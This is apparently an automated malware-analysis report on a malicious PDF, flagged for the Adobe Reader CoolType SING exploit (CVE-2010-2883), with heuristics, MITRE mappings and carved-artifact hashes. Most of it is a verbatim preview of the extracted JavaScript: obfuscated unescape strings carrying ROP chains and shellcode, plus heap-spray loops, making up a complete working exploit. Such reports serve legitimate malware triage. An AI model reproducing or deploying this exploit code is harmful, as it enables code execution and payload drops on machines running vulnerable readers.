MALICIOUS
304
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1566.001 Spearphishing Attachment
T1027 Obfuscated Files or Information
This PDF file was flagged as malicious by an ML classifier with high confidence. Heuristics indicate the presence of JavaScript, which is used to obfuscate and hide the actual payload. The PDF is encrypted, further suggesting an attempt to evade static analysis. The combination of these factors points to a malicious document likely designed to download and execute a secondary payload.
Machine Learning
- Nyx PDF Classifier malicious score 0.9908
Heuristics 9
-
Adobe Reader CoolType SING font exploit — CVE-2010-2883 critical CVE likely CVE_2010_2883PDF embeds a TrueType/OpenType font with an actual SING table and pairs it with JavaScript heap-spray shellcode. This matches the public Adobe Reader CoolType SING exploit shape for CVE-2010-2883.
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Obfuscated multi-stage PDF JavaScript heap-spray exploit critical PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAYPDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Encrypted PDF carries /JavaScript — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JSPDF declares /Encrypt and also references an executable trigger (/JavaScript). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded file low PDF_EMBEDDEDPDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
-
XFA form low PDF_XFAPDF uses XML Forms Architecture — can contain script logic
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xdp/ In PDF document text
- http://www.xfa.org/schema/xci/2.6/In PDF document text
- http://www.xfa.org/schema/xci/2.8/In PDF document text
- http://www.xfa.org/schema/xfa-template/2.6/In PDF document text
- http://www.w3.org/1999/xhtmlIn PDF document text
- http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
- http://www.xfa.org/schema/xfa-locale-set/2.7/In PDF document text
- http://www.xfa.org/schema/xfa-locale-set/2.6/In PDF document text
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xfa/promoted-desc/In PDF document text
- http://ns.adobe.com/xfdf/In PDF document text
- http://www.xfa.org/schema/xfa-form/2.8/In PDF document text
Extracted artifacts 20
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
embedded_file_obj0008.bin |
pdf-embedded-file | PDF EmbeddedFile object 8 at offset 0x1DD1 | 163 bytes |
SHA-256: e0144341db8527ba18c137f148e8eaff8af385daf611924ab196d0fa8ec8e9c7 |
|||
embedded_file_obj0009.bin |
pdf-embedded-file | PDF EmbeddedFile object 9 at offset 0x1EC1 | 1774 bytes |
SHA-256: 71201fb924c97c047a7c2e59157e3f1564222a32bfb2c46191a38f954f74e065 |
|||
embedded_file_obj0010.bin |
pdf-embedded-file | PDF EmbeddedFile object 10 at offset 0x221E | 5839 bytes |
SHA-256: f3a3ef50ae70a3e4028caea66842678e2ec2b18b19fbf3b1726df3b332b8b927 |
|||
embedded_file_obj0011.bin |
pdf-embedded-file | PDF EmbeddedFile object 11 at offset 0x27B7 | 3023 bytes |
SHA-256: f6828dd1c2c33f5f9b3d297876597a713abd12a8e3a8bcc14eda8a62895139c5 |
|||
embedded_file_obj0012.bin |
pdf-embedded-file | PDF EmbeddedFile object 12 at offset 0x2B49 | 380 bytes |
SHA-256: 411f16403b598a52ccd2670726c48ff023b8eef033487f67dd4a8108b9b9f47b |
|||
embedded_file_obj0013.bin |
pdf-embedded-file | PDF EmbeddedFile object 13 at offset 0x2C38 | 4641 bytes |
SHA-256: e1cadb2570b7e9e6c61bb4b700c56babef0cacf811bfab7e5d6d69e6a014d8ba |
|||
embedded_file_obj0014.bin |
pdf-embedded-file | PDF EmbeddedFile object 14 at offset 0x3033 | 80 bytes |
SHA-256: 2ebdd7efeaa1190ff6bad8cbd649b313e3969564018f204e7385b97c2fab1e19 |
|||
embedded_file_obj0015.bin |
pdf-embedded-file | PDF EmbeddedFile object 15 at offset 0x30DD | 56 bytes |
SHA-256: 4a60a9864cdf7382475d51051a03fdc43b32c31eb508893ccfccece34957f9f1 |
|||
javascript_obj0049_000.js |
pdf-javascript-stream | PDF /JS object 49 at offset 0x4779 | 13711 bytes |
SHA-256: d15444e8e3e3f00f62a5892b19c0884cb8dfc24ebb65f0f4aa02450497f2f106 |
|||
|
Detection
ClamAV:
Js.Exploit.Shellcode-18
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function dddd()
{
ver = app.viewerVersion
if(ver>9.4)
{
while(1);
}
else if (ver>=9)
{
aaaaa();
var cWord = this.getPageNthWord(4, 0);
this.selectPageNthWord(4 , 0);
}
else if (ver>=8)
{
bbbbb();
var cWord = this.getPageNthWord(2, 0);
this.selectPageNthWord(2 , 0);
}
else if (ver>=7)
{
bbbbb();
var cWord = this.getPageNthWord(6, 0);
this.selectPageNthWord(6 , 0);
}
else
{
while(1);
}
}
function aaaaa()
{
//afjp;ajf'klaf
var dhskhf=unescape //ahfpajf
var nXzaRHPbywqAbGpGxOtozGkvQWhu;
for(i=0;i<28002;i++) // ahjf;ak'
nXzaRHPbywqAbGpGxOtozGkvQWhu+=0x78;//ahflajf
var WjOZZFaiSj =dhskhf;
var nXzaRHPbywqAbGpGxOtozGkvQWhu = WjOZZFaiSj( "\x25\x754141\x25\x754141%u63a5%u4a80\x25\x750000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85\x25\x750000%u1000\x25\x750000\x25\x750000\x25\x750000\x25\x750000%u0002\x25\x750000%u0102\x25\x750000\x25\x750000\x25\x750000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008\x25\x750000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80\x25\x75ffff\x25\x75ffff\x25\x750000\x25\x750000%u0040\x25\x750000\x25\x750000\x25\x750000\x25\x750000%u0001\x25\x750000\x25\x750000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008\x25\x750000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80\x25\x75ffff\x25\x75ffff%u0022\x25\x750000\x25\x750000\x25\x750000\x25\x750000\x25\x750000\x25\x750000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030\x25\x750000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020\x25\x750000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a\x25\x750000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80\x25\x75ffff\x25\x75ffff\x25\x75ffff\x25\x75ffff\x25\x75ffff\x25\x75ffff%u1000\x25\x750000"+
"%ue990%u00ad%u0000%u8fc2%ud836%udfa0%ud516%uf0b5"+
"%u78de%u05d0%ue989%u281b%u56bf%uf7be%ud61e%u1697"+
"%ufa5f%u66a1%u5652%u54d0%u8819%ud9a5%ue913%u3a8e"+
"%u2b17%ub29b%u5382%ue3a2%u5762%u6957%u776e%u726f"+
"%u2e64%u7865%u0065%u6441%u626f%u2e65%u6470%u0066"+
"%u6d63%u2e64%u7865%u2065%u632f%u7020%u6e69%u2067"+
"%u6e2d%u3120%u3120%u3732%u302e%u302e%u312e%u2620"+
"%u4120%u6f64%u6562%u702e%u6664%u0000%u0000%u0000"+
"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"+
"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"+
"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"+
"%u0000%ue800%u0000%u0000%u815d%ub2ed%u0000%ue800"+
"%u0265%u0000%ud08b%uf58b%ufe8b%uce8b%uc183%ue834"+
"%u0240%u0000%u0068%u0004%u6a00%uff40%u1455%u8589"+
"%u0091%u0000%u6850%u0104%u0000%u55ff%u8b10%u9185"+
"%u0000%u5000%u55ff%u8b24%u9185%u0000%u8d00%u345d"+
"%u3880%u7400%u4003%uf8eb%u138a%u1088%u3b80%u7400"+
"%u4004%ueb43%u33f3%u89c9%u754d%u4583%u0475%uc933"+
"%uff51%u7575%u55ff%u8908%u8985%u0000%u3d00%u86a0"+
"%u0001%ue672%uc933%u5151%u8068%u0138%uff00%u7575"+
"%u55ff%u3320%u51c9%u858d%u00a1%u0000%u4150%ue1c1"+
"%u5102%u858d%u008d%u0000%uff50%u7575%u55ff%u8b1c"+
"%u898d%u0000%u3900%u8d8d%u0000%u7500%u33ad%u51c9"+
"%u6851%u3890%u0001%u75ff%uff75%u2055%uc933%u8d51"+
"%ua185%u0000%u5000%uc141%u02e1%u8d51%u8585%u0000"+
"%u5000%u75ff%uff75%u1c55%uc933%u8d51%ua185%u0000"+
"%u5000%uc141%u02e1%u8d51%u9985%u0000%u5000%u75ff"+
"%uff75%u1c55%u6a55%u6800%u0080%u0000%u026a%u006a"+
"%u016a%u0068%u0000%u8d40%u3445%u8350%u0445%ueb05"+
"%u8b0a%u8bf5%u55ff%uec8b%u66ff%ue804%ufff1%uffff"+
"%u835d%ufff8%u840f%u0122%u0000%u4589%u6a79%u6a00"+
"%u6800%u38a0%u0001%u75ff%uff75%u2055%u0068%u0004"+
"%u6a00%uff40%u1455%u8589%u0081%u0000%u858b%u0085"+
"%u0000%u8589%u009d%u0000%u7be8%u0001%u5500%u006a"+
"%u858b%u0091%u0000%u8350%u2c45%ueb05%u8b0a%u8bf5"+
"%u55ff%uec8b%u66ff%ue82c%ufff1%uffff%u555d%u006a"+
"%u8068%u0000%u6a00%u6a02%u6a00%u6801%u0000%u4000"+
"%u458d%u5040%u0aeb%uf58b%uff8b%u8b55%uffec%u0466"+
"%uf1e8%uffff%u5dff%uf883%u0fff%u9d84%u0000%u8900"+
"%u7d45%ub5ff%u0099%u0000%u406a%u55ff%u8914%u9585"+
"%u0000%u3300%u05c0%u38a0%u0001%u8503%u0085%u0000"+
"%u006a%u006a%uff50%u7575%u55ff%u3320%u51c9%u858d"+
"%u00a1%u0000%uff50%u99b5%u0000%uff00%u95b5%u0000"+
"%uff00%u7575%u55ff%u8b1c%ua18d%u0000%u8b00%u95b5"+
"%u0000%u8b00%ub3fe%uacca%uc332%u2834%ufeaa%ue2c3"+
"%u6af6%u8d00%ua585%u0000%u5000%ub5ff%u0099%u0000"+
"%u958b%u0095%u0000%uff52%u7d75%u55ff%uff30%u7d75"+
"%u55ff%u5500%u006a%u458d%u504a%u0aeb%uf58b%uff8b"+
"%u8b55%uffec%u2c66%uf1e8%uffff%u5dff%u006a%uff6a"+
"%u55ff%u9028%u50ad%ue852%u002e%u0000%u0789%uc483"+
"%u8308%u04c7%uf13b%uec75%u56c3%u5751%uc933%u8b64"+
"%u3071%u768b%u8b0c%u1c76%u468b%u8b08%u207e%u368b"+
"%u3966%u184f%uf275%u595f%uc35e%u8b60%u246c%u8b24"+
"%u3c45%u548b%u7828%ud503%u4a8b%u8b18%u205a%udd03"+
"%u34e3%u8b49%u8b34%uf503%uff33%uc033%uacfc%uc084"+
"%u0774%ucfc1%u030b%uebf8%u3bf4%u247c%u7528%u8be1"+
"%u245a%udd03%u8b66%u4b0c%u5a8b%u031c%u8bdd%u8b04"+
"%uc503%u4489%u1c24%uc361%u85c7%u00a9%u0000%u0000"+
"%u0000%u006a%u858d%u00a1%u0000%u8150%u9dbd%u0000"+
"%u0000%u0004%u7f00%uff08%u9db5%u0000%ueb00%u6805"+
"%u0400%u0000%ub5ff%u0081%u0000%u75ff%uff75%u1c55"+
"%uc933%u8b66%ua18d%u0000%u8b00%u81bd%u0000%u8b00"+
"%ub3f7%uacac%uc332%u2834%ufeaa%ue2c3%u6af6%u8d00"+
"%ua585%u0000%u5000%ub5ff%u00a1%u0000%u958b%u0081"+
"%u0000%uff52%u7975%u55ff%u8b30%ua595%u0000%u2900"+
"%u9d95%u0000%u8300%u9dbd%u0000%u0000%u847f%u75ff"+
"%uff79%u0055%u90c3");
var pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn = WjOZZFaiSj("\x25\x750c0c\x25\x750c0c");
while (pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.length + 20 + 8 < 65536) pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn+=pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn;
SP = pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.substring(0, (0x0c0c-0x24)/2);
SP += nXzaRHPbywqAbGpGxOtozGkvQWhu;
SP += pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn;
xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC = SP.substring(0, 65536/2);
while(xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.length < 0x80000) //shp;aj;gfk
xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC += xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC;
//hfkahgla;jgh
GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug = xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.substring(0, 0x80000 - (0x1020-0x08) / 2);
var cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn = new Array();
for (DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq=0;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq<0x200;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq++) cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn[DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq]=GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug+"s";
}
function bbbbb()
{
var dhskhf=unescape //ahfpajf
var nXzaRHPbywqAbGpGxOtozGkvQWhu;
for(i=0;i<28002;i++) // ahjf;ak'
nXzaRHPbywqAbGpGxOtozGkvQWhu+=0x78;//ahflajf
var WjOZZFaiSj =dhskhf;
var nXzaRHPbywqAbGpGxOtozGkvQWhu = WjOZZFaiSj("\u4141\u4141\u4141\u4141\u4141\u4141\u17f2\u4a82\u5000\u4a84\u630f\u4a80\u7ec9\u4a81\u203c\u4a82\u57bc\u4a80\u156a\u4a82\u0000\u0000\u0000\u1000\u0000\u0000\u0000\u0000\u0002\u0000\u0102\u0000\u0000\u0000\u17f2\u4a82\u156a\u4a82\ufe83\u4a81\ue982\u4a81\u0008\u0000\u597d\u4a80\u7ec9\u4a81\u2038\u4a82\u57bc\u4a80\u156a\u4a82\uffff\uffff\u0000\u0000\u0040\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u17f2\u4a82\u156a\u4a82\ufe83\u4a81\ue982\u4a81\u0008\u0000\u597d\u4a80\u7ec9\u4a81\u2030\u4a82\u57bc\u4a80\u156a\u4a82\uffff\uffff\u0022\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u17f2\u4a82\u5004\u4a84\u630f\u4a80\u17f2\u4a82\u156a\u4a82\ufe83\u4a81\ue982\u4a81\u0030\u0000\u597d\u4a80\u7ec9\u4a81\u5004\u4a84\ua649\u4a81\u17f2\u4a82\u156a\u4a82\ufe83\u4a81\ue982\u4a81\u0020\u0000\u597d\u4a80\u17f2\u4a82\u156a\u4a82\u00a0\u4a82\u7ec9\u4a81\u0034\u0000\u795a\u4a80\u17f2\u4a82\u156a\u4a82\ufe83\u4a81\ue982\u4a81\u000a\u0000\u597d\u4a80\u7ec9\u4a81\u2140\u4a82\u57bc\u4a80\uffff\uffff\uffff\uffff\uffff\uffff\u1000\u0000"+
"%ue990%u00ad%u0000%u8fc2%ud836%udfa0%ud516%uf0b5"+
"%u78de%u05d0%ue989%u281b%u56bf%uf7be%ud61e%u1697"+
"%ufa5f%u66a1%u5652%u54d0%u8819%ud9a5%ue913%u3a8e"+
"%u2b17%ub29b%u5382%ue3a2%u5762%u6957%u776e%u726f"+
"%u2e64%u7865%u0065%u6441%u626f%u2e65%u6470%u0066"+
"%u6d63%u2e64%u7865%u2065%u632f%u7020%u6e69%u2067"+
"%u6e2d%u3120%u3120%u3732%u302e%u302e%u312e%u2620"+
"%u4120%u6f64%u6562%u702e%u6664%u0000%u0000%u0000"+
"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"+
"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"+
"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"+
"%u0000%ue800%u0000%u0000%u815d%ub2ed%u0000%ue800"+
"%u0265%u0000%ud08b%uf58b%ufe8b%uce8b%uc183%ue834"+
"%u0240%u0000%u0068%u0004%u6a00%uff40%u1455%u8589"+
"%u0091%u0000%u6850%u0104%u0000%u55ff%u8b10%u9185"+
"%u0000%u5000%u55ff%u8b24%u9185%u0000%u8d00%u345d"+
"%u3880%u7400%u4003%uf8eb%u138a%u1088%u3b80%u7400"+
"%u4004%ueb43%u33f3%u89c9%u754d%u4583%u0475%uc933"+
"%uff51%u7575%u55ff%u8908%u8985%u0000%u3d00%u86a0"+
"%u0001%ue672%uc933%u5151%u8068%u0138%uff00%u7575"+
"%u55ff%u3320%u51c9%u858d%u00a1%u0000%u4150%ue1c1"+
"%u5102%u858d%u008d%u0000%uff50%u7575%u55ff%u8b1c"+
"%u898d%u0000%u3900%u8d8d%u0000%u7500%u33ad%u51c9"+
"%u6851%u3890%u0001%u75ff%uff75%u2055%uc933%u8d51"+
"%ua185%u0000%u5000%uc141%u02e1%u8d51%u8585%u0000"+
"%u5000%u75ff%uff75%u1c55%uc933%u8d51%ua185%u0000"+
"%u5000%uc141%u02e1%u8d51%u9985%u0000%u5000%u75ff"+
"%uff75%u1c55%u6a55%u6800%u0080%u0000%u026a%u006a"+
"%u016a%u0068%u0000%u8d40%u3445%u8350%u0445%ueb05"+
"%u8b0a%u8bf5%u55ff%uec8b%u66ff%ue804%ufff1%uffff"+
"%u835d%ufff8%u840f%u0122%u0000%u4589%u6a79%u6a00"+
"%u6800%u38a0%u0001%u75ff%uff75%u2055%u0068%u0004"+
"%u6a00%uff40%u1455%u8589%u0081%u0000%u858b%u0085"+
"%u0000%u8589%u009d%u0000%u7be8%u0001%u5500%u006a"+
"%u858b%u0091%u0000%u8350%u2c45%ueb05%u8b0a%u8bf5"+
"%u55ff%uec8b%u66ff%ue82c%ufff1%uffff%u555d%u006a"+
"%u8068%u0000%u6a00%u6a02%u6a00%u6801%u0000%u4000"+
"%u458d%u5040%u0aeb%uf58b%uff8b%u8b55%uffec%u0466"+
"%uf1e8%uffff%u5dff%uf883%u0fff%u9d84%u0000%u8900"+
"%u7d45%ub5ff%u0099%u0000%u406a%u55ff%u8914%u9585"+
"%u0000%u3300%u05c0%u38a0%u0001%u8503%u0085%u0000"+
"%u006a%u006a%uff50%u7575%u55ff%u3320%u51c9%u858d"+
"%u00a1%u0000%uff50%u99b5%u0000%uff00%u95b5%u0000"+
"%uff00%u7575%u55ff%u8b1c%ua18d%u0000%u8b00%u95b5"+
"%u0000%u8b00%ub3fe%uacca%uc332%u2834%ufeaa%ue2c3"+
"%u6af6%u8d00%ua585%u0000%u5000%ub5ff%u0099%u0000"+
"%u958b%u0095%u0000%uff52%u7d75%u55ff%uff30%u7d75"+
"%u55ff%u5500%u006a%u458d%u504a%u0aeb%uf58b%uff8b"+
"%u8b55%uffec%u2c66%uf1e8%uffff%u5dff%u006a%uff6a"+
"%u55ff%u9028%u50ad%ue852%u002e%u0000%u0789%uc483"+
"%u8308%u04c7%uf13b%uec75%u56c3%u5751%uc933%u8b64"+
"%u3071%u768b%u8b0c%u1c76%u468b%u8b08%u207e%u368b"+
"%u3966%u184f%uf275%u595f%uc35e%u8b60%u246c%u8b24"+
"%u3c45%u548b%u7828%ud503%u4a8b%u8b18%u205a%udd03"+
"%u34e3%u8b49%u8b34%uf503%uff33%uc033%uacfc%uc084"+
"%u0774%ucfc1%u030b%uebf8%u3bf4%u247c%u7528%u8be1"+
"%u245a%udd03%u8b66%u4b0c%u5a8b%u031c%u8bdd%u8b04"+
"%uc503%u4489%u1c24%uc361%u85c7%u00a9%u0000%u0000"+
"%u0000%u006a%u858d%u00a1%u0000%u8150%u9dbd%u0000"+
"%u0000%u0004%u7f00%uff08%u9db5%u0000%ueb00%u6805"+
"%u0400%u0000%ub5ff%u0081%u0000%u75ff%uff75%u1c55"+
"%uc933%u8b66%ua18d%u0000%u8b00%u81bd%u0000%u8b00"+
"%ub3f7%uacac%uc332%u2834%ufeaa%ue2c3%u6af6%u8d00"+
"%ua585%u0000%u5000%ub5ff%u00a1%u0000%u958b%u0081"+
"%u0000%uff52%u7975%u55ff%u8b30%ua595%u0000%u2900"+
"%u9d95%u0000%u8300%u9dbd%u0000%u0000%u847f%u75ff"+
"%uff79%u0055%u90c3");
var pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn = WjOZZFaiSj("\x25\x750c0c\x25\x750c0c");
while (pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.length + 20 + 8 < 65536) pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn+=pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn;
SP = pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.substring(0, (0x0c0c-0x24)/2);
SP += nXzaRHPbywqAbGpGxOtozGkvQWhu;
SP += pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn;
xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC = SP.substring(0, 65536/2);
while(xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.length < 0x80000) //shp;aj;gfk
xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC += xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC;
//hfkahgla;jgh
GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug = xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.substring(0, 0x80000 - (0x1020-0x08) / 2);
var cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn = new Array();
for (DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq=0;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq<0x200;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq++) cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn[DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq]=GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug+"s";
}
dddd();
|
|||
font_00_sfnt_off00005782.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x5782 | 26931 bytes |
SHA-256: 6d57f79cc2262eca2ce95fcdae6c9a7ef3168e52f0781ca5de3aeb7e9a1a9571 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)
|
|||
font_01_sfnt_off000085e7.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x85E7 | 24970 bytes |
SHA-256: 060872164909b43a73ef1d51e37b624d4bc77beeb1f13480756f4658e52f4fae |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x0C
|
|||
font_02_sfnt_off0000b0de.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0xB0DE | 71524 bytes |
SHA-256: 426fc31e492fe224eea571b50d4b8a8539f1b24595527e3932236df755edd36a |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)
|
|||
embedded_file_obj0022_undecoded.bin |
pdf-embedded-file-undecodable | PDF EmbeddedFile object 22 at offset 0x9041; filter decode failed | 152 bytes |
SHA-256: 79d5b63eb00000c129d588686bf439bac604a727614a0db8840c48b299f78073 |
|||
embedded_file_obj0023_undecoded.bin |
pdf-embedded-file-undecodable | PDF EmbeddedFile object 23 at offset 0x9136; filter decode failed | 771 bytes |
SHA-256: b5ecf2abcd22d79576870f547c3db274dd7fb1a947b979d6506d3735b158e749 |
|||
embedded_file_obj0024_undecoded.bin |
pdf-embedded-file-undecodable | PDF EmbeddedFile object 24 at offset 0x9497; filter decode failed | 1342 bytes |
SHA-256: e17785767b053ac0d6d9cc223270d66a65483159eeb8f42a6424243d2dbe2730 |
|||
embedded_file_obj0025_undecoded.bin |
pdf-embedded-file-undecodable | PDF EmbeddedFile object 25 at offset 0x9A32; filter decode failed | 824 bytes |
SHA-256: 59eae40f687b792127176c4b6846b18036dc6d7a9dd6a1cdd1ac31665a2104ee |
|||
embedded_file_obj0026_undecoded.bin |
pdf-embedded-file-undecodable | PDF EmbeddedFile object 26 at offset 0x9DC7; filter decode failed | 150 bytes |
SHA-256: 9421d346b35bb9be6dc02b99743ba6280a5abaea856c849a67e483c9452863e4 |
|||
embedded_file_obj0027_undecoded.bin |
pdf-embedded-file-undecodable | PDF EmbeddedFile object 27 at offset 0x9EBA; filter decode failed | 932 bytes |
SHA-256: 63fa30d8fca5ab87ba8c0d7169e428188e3f2f9a2b26ff85b2735151551cc3a8 |
|||
embedded_file_obj0028_undecoded.bin |
pdf-embedded-file-undecodable | PDF EmbeddedFile object 28 at offset 0xA2BA; filter decode failed | 81 bytes |
SHA-256: 8c89b26d5f9ad93157e2336da6e07853389d9037f821c832addd4d37be6d42b8 |
|||
embedded_file_obj0029_undecoded.bin |
pdf-embedded-file-undecodable | PDF EmbeddedFile object 29 at offset 0xA367; filter decode failed | 63 bytes |
SHA-256: e5c5faf98858f4198aaf63297f83791030b67f21181661e7b47302b13fc824bd |
|||
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